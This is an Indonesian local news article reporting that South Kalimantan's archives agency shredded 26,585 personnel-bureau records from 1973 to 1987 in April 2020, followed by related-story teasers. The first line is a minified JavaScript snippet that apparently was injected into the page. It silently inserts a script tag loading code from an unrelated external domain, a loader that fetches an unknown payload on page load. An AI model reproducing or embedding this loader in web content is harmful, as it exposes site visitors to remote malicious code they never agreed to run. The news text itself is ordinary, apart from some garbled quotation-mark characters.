(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Dinas Perpustakaan dan Kearsipan (Dispersip) Kalsel memusnahkan arsip Biro Kepegawaian Sekretariat Wilayah Daerah (Setwilda) Tingkat I Provinsi Kalimantan Selatan antara tahun 1973 hingga tahun 1987 dimusnahkan, Rabu (22/4/2020).
Depo Arsip Pemerintah Provinsi Kalsel di Banjarbaru memusnahkan sedikitnya 26.585 arsip dengan menggunakan alat pencacah kertas.
“Untuk pemusnahan berkas yang dimusnahkan ini sudah sepengetahuan dan disetujui oleh Gubernur Kalimantan Selatan dan ANRI (Arsip Nasional Republik Indonesia) karena sudah tidak bernilai guna dan tidak ada dampak hukumnya,†ungkap Kepala Dispersip Kalsel dra Hj Nurliani Dardie, kepada Kanalkalimantan.com.
Bunda Nunung -sapaan akrabnya- menyebutkan, arsip yang mencapai puluhan ribu ini sempat terkendala, mengingat mesin pecacah kertas sebelumnya mengalami kendala. Akhirnya, melalui persetujuan Gubernur Kalsel, pihaknya kembali mendapatkan mesin penghancur kertas yang baru dengan tujuan dapat memaksimalkan kegiatan tersebut.
Dispersip Kalsel memusnahkan arsip Biro Kepegawaian Sekretariat Wilayah Daerah (Setwilda) Tingkat I Provinsi Kalimantan Selatan antara tahun 1973 hingga tahun 1987 dimusnahkan, Rabu (22/4/2020). Foto: fikri
Semua berkas dimuat dalam 2.600 box arsip yang sudah berusia puluhan tahun, dalam kurun waktu mulai dari tahun 1973-1987. Pemusnahan ribuan arsip tak bernilai guna itu disaksikan perwakilan dari Inspektorat Kalsel, Biro Hukum Setdaprov Kalsel, BKD Provinsi Kalsel.
“Arsip-arsip ini sudah tidak bisa digunakan lagi dan sangat tidak efisien kalau masih disimpan secara terus menerus. Selain tidak efisien juga dari segi pemeliharaan memakan biaya dan memakan tempat,†ujarnya.
Pemusnahan arsip ini, sebagaimana yang diamanatkan Undang-Undang nomor 43 tahun 2009 tentang kearsipan. Serta peraturan Gubernur Kalimantan Selatan nomor 0120 tahun 2017, tentang pelaksanaan peraturan daerah Provinsi Kalimantan Selatan nomor 1 tahun 2017 tentang penyelenggaraan kearsipan.
Dispersip Kalsel memusnahkan arsip Biro Kepegawaian Sekretariat Wilayah Daerah (Setwilda) Tingkat I Provinsi Kalimantan Selatan antara tahun 1973 hingga tahun 1987 dimusnahkan, Rabu (22/4/2020). Foto: fikri
“Alhamdulillah, karena mesin pencacah kertas ini sudah dapat yang baru melalui bantuan Gubernur Kalsel dan Pemprov Kalsel akhirnya tumpukan berkas yang sangat banyak ini pun dapat diatasi,†ungkapnya.
“Peran arsiparis sangat berdampak besar bagi program kearsipan, maka kami menginginkan agar Pemprov Kalsel bisa memikirkan nasib mereka agar dapat lebih maksimal dalam melakukan tupoksinya,†pungkasnya. (kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.